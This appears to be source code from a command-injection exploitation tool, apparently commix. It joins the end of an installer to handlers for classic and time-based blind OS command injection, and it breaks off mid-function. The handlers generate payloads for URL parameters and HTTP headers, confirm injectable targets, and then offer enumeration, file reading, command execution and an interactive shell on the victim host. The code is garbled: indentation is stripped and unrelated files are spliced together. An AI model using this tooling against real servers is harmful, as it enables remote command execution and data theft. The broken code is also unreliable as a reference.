# Force install of necessary packages
subprocess.Popen("apt-get --force-yes -y install " + packages +
">/dev/null 2>&1",
shell=True).wait()
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL +
"]\n")
sys.stdout.flush()
info_msg = "Installing " + settings.APPLICATION
info_msg += " into the /usr/share/" + settings.APPLICATION + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
try:
current_dir = os.getcwd()
subprocess.Popen("cp -r " + current_dir + " /usr/share/" +
settings.APPLICATION + " >/dev/null 2>&1",
shell=True).wait()
subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION +
"/" + settings.APPLICATION +
".py >/dev/null 2>&1",
shell=True).wait()
except:
print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]")
raise SystemExit()
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL +
"]\n")
sys.stdout.flush()
info_msg = "Installing " + settings.APPLICATION
info_msg += " to /usr/bin/" + settings.APPLICATION + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
try:
with open("/usr/bin/" + settings.APPLICATION, 'w') as f:
f.write('#!/bin/bash\n')
f.write('cd /usr/share/commix/ && ./commix.py "$@"\n')
subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION +
" >/dev/null 2>&1",
shell=True).wait()
except:
print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]")
raise SystemExit()
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL +
"]\n")
sys.stdout.flush()
#Create the Output Directory
OUTPUT_DIR = ".output/"
try:
os.stat(OUTPUT_DIR)
except:
os.mkdir(OUTPUT_DIR)
success_msg = "The installation is finished! Type '"
success_msg += settings.APPLICATION + "' to launch it."
print(settings.print_success_msg(success_msg))
else:
print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]")
err_msg = "The installer is not designed for any other system other than Linux. "
err_msg += "Please install manually: " + packages + dependencies
print(settings.print_critical_msg(err_msg))
print("")
raise SystemExit()
# eof
def cb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "results-based OS command injection"
technique = "classic command injection technique"
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print("")
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if whitespace == " ":
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.CLASSIC_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print(settings.print_info_msg(info_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = cb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = cb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print("")
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method + ""
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_success_msg(success_msg))
print(settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL)
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
#print("")
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
if not menu.file_access_options() and not menu.options.os_cmd and new_line:
print("")
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
# sys.stdout.write(settings.print_question_msg(question_msg))
# file_access_again = sys.stdin.readline().replace("\n","").lower()
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print("")
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print("")
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print("")
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print("")
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
# sys.stdout.write(settings.print_question_msg(question_msg))
# gotshell = sys.stdin.readline().replace("\n","").lower()
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
except:
print("")
continue
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
html_parser = _html_parser.HTMLParser()
shell = html_parser.unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
if shell != "":
print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
else:
if settings.VERBOSITY_LEVEL >= 1:
print("")
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print("")
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "blind OS command injection"
technique = "time-based command injection technique"
if settings.VERBOSITY_LEVEL != 0:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
warn_msg = "The '--url-reload' option is not available in " + technique + "."
print(settings.print_warning_msg(warn_msg))
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
settings.TIME_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, timesec,
http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(
separator, TAG, output_length, timesec,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
payload_msg = payload.replace("\n", "\\n")
sys.stdout.write(
settings.print_payload(payload_msg) +
"\n")
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
how_long = tb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(
payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(
((num_of_chars * 100) / (total * 1.0)),
2))
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])
) == 1:
if max(xrange(
len(how_long_statistic)
),
key=lambda x:
how_long_statistic[
x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write(
"\r" +
settings.print_warning_msg(
warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = _input(
settings.
print_question_msg(
question_msg))
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower(
) in settings.CHOICE_PROCEED:
if proceed_option.lower(
) == "s":
false_positive_fixation = False
raise
elif proceed_option.lower(
) == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower(
) == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print(
settings.
print_error_msg(
err_msg))
pass
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" + settings.print_info_msg(
info_msg))
sys.stdout.flush()
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(1, 10)
randv2 = random.randrange(1, 10)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "expr " + str(
randv1) + " %2B " + str(
randv2) + ""
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator, TAG, cmd,
whitespace, prefix, suffix,
timesec, http_request_method,
url, vuln_parameter, randvcalc,
alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(
randvcalc) and len(
TAG
) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" + settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(
((num_of_chars * 100) / (total * 1.0)),
2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" + settings.print_info_msg(
info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = ".. (" + str(
float_percent) + "%)"
print(settings.SPACE)
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = ".. (" + str(
float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter,
payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell,
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response,
timesec,
original_how_long,
output_length,
is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, whitespace,
timesec, http_request_method, url,
vuln_parameter, alter_shell,
filename, url_time_response)
print(settings.SPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(
settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
print(settings.SPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
print(settings.SPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(
settings.print_question_msg(
question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(
separator, maxlen, TAG, cmd,
prefix, suffix, whitespace,
timesec, http_request_method, url,
vuln_parameter, alter_shell,
filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(
settings.print_error_msg(err_msg))
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print(settings.SPACE)
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix,
suffix, whitespace, timesec,
http_request_method, url, vuln_parameter,
alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long)
print(settings.SPACE)
logs.print_logs_notification(filename, url)
raise SystemExit()
if not new_line:
print(settings.SPACE)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(
settings.print_question_msg(
question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print(settings.SPACE)
print("Pseudo-Terminal (type '" +
Style.BRIGHT + "?" +
Style.RESET_ALL +
"' for available options)")
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write(
"\r" +
settings.print_warning_msg(
warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__',
''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
